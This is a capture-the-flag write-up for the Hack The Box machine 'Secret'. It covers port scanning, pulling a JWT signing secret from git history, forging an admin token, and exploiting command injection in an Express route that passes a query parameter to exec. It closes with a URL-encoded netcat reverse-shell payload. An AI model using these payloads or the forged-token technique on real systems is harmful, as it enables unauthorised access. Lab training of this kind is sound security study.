Post

Secret - easy HTB

secret

Scanning :

Enumerate open ports with nmap : nmap 10.10.11.120 -sC -sV -T4

1
2
3
4
5
6
7
8
9
10
11
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

All ports : nmap 10.10.11.120 -sV -T4 -p-

1
2
3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)

Enumeration:

Before walk on the app run gobuster BF : gobuster dir -u http://10.10.11.120/ -w /usr/share/wordlists/dirb/big.txt

1
2
3
4
/api                  (Status: 200) [Size: 93]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/docs                 (Status: 200) [Size: 20720]
/download             (Status: 301) [Size: 183] [--> /download/]

So we have on web app :

webapp

you can download the source code of the here :

Untitled

on the file you can find a .git project use git log command to enumerate every commit.

In the first We can leaked the Token secret to sign JWT, this is in the first commit :

Untitled

Exploit Web app:

in the source code we can see that it is mentioned a user “theadmin” if we log on we will be able to have access to the private account:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        res.json({
            creds:{
                role:"admin", 
                username:"theadmin",
                desc : "welcome back admin,"
            }
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

For this we must create a new jwt that we will be able to falsify because we have the private key of signature.

First launch request to get JWT :

1
curl -X POST -d '{"name": "tototo", "email": "[toto@toto.com](mailto:toto@toto.com)", "password": "Pass123!"}' -H "Content-Type: application/json" http://secret.htb:3000/api/user/register

Log your self on the app and get your first JWT :

1
curl -X POST -d ' {"email": "[toto@toto.com](mailto:toto@toto.com)","password": "Pass123!"}' -H "Content-Type: application/json" http://secret.htb:3000/api/user/login 

Modifie the new JWT to “theadmin” do not forget the signed with the key find rather :

jwt

Send last request to Gain admin acces :

1
curl -X GET -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NTcyMjQxNTg5N2E5NjA0NTk2YzcxYmMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRvdG9AdG90by5jb20iLCJpYXQiOjE3MDE5NzkxNjd9.rh26y3V_J_IDvfaY5CXWFli5qsPMfGsrDPkA2-2iWgE" http://secret.htb:3000/api/priv

But the code tells us that there is a function in another API page (/logs). view that we are theadmin we can interact with:

1
curl -X GET -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NTcyMGE0MjVlZTkxMTA0NjFkM2RmMTkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRvdG9AdG90by5jb20iLCJpYXQiOjE3MDE5NzI2Nzh9.91ODv0rlBAsFOO9FsayzUiRCzBW7YvGB3wSDFZafWyw" http://secret.htb:3000/api/logs

the app uses the exec function to execute a specific Git command. The Git command executed is git log –oneline followed by the file name extracted from the query (${file}). The result of this Git command is retrieved in the output variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }

we can try to integrate with the file parameter :

1
2
3
4
curl -X GET -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NTcyMGE0MjVlZTkxMTA0NjFkM2RmMTkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRvdG9AdG90by5jb20iLCJpYXQiOjE3MDE5NzI2Nzh9.91ODv0rlBAsFOO9FsayzUiRCzBW7YvGB3wSDFZafWyw" http://secret.htb:3000/api/logs?file=test

#output
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline test"}

Let’s try to make a basic command injection in this parameter:

1
2
3
4
curl -X GET -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NTcyMGE0MjVlZTkxMTA0NjFkM2RmMTkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRvdG9AdG90by5jb20iLCJpYXQiOjE3MDE5NzI2Nzh9.91ODv0rlBAsFOO9FsayzUiRCzBW7YvGB3wSDFZafWyw" 'http://secret.htb:3000/api/logs?file=|id' 

#output
"uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"

BiMMGO we have succed inject commande now lets try to gain reverse shell, so run your listener and run request:

1
2
3
4
5
# set up listener
pwncat-cs :1234

# reverse shell
curl -X GET -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NTcyMjQxNTg5N2E5NjA0NTk2YzcxYmMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRvdG9AdG90by5jb20iLCJpYXQiOjE3MDE5NzkxNjd9.rh26y3V_J_IDvfaY5CXWFli5qsPMfGsrDPkA2-2iWgE" 'http://secret.htb:3000/api/logs?file=|rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%2010.10.16.5%201234%20%3E%2Ftmp%2Ff'
This post is licensed under CC BY 4.0 by the author.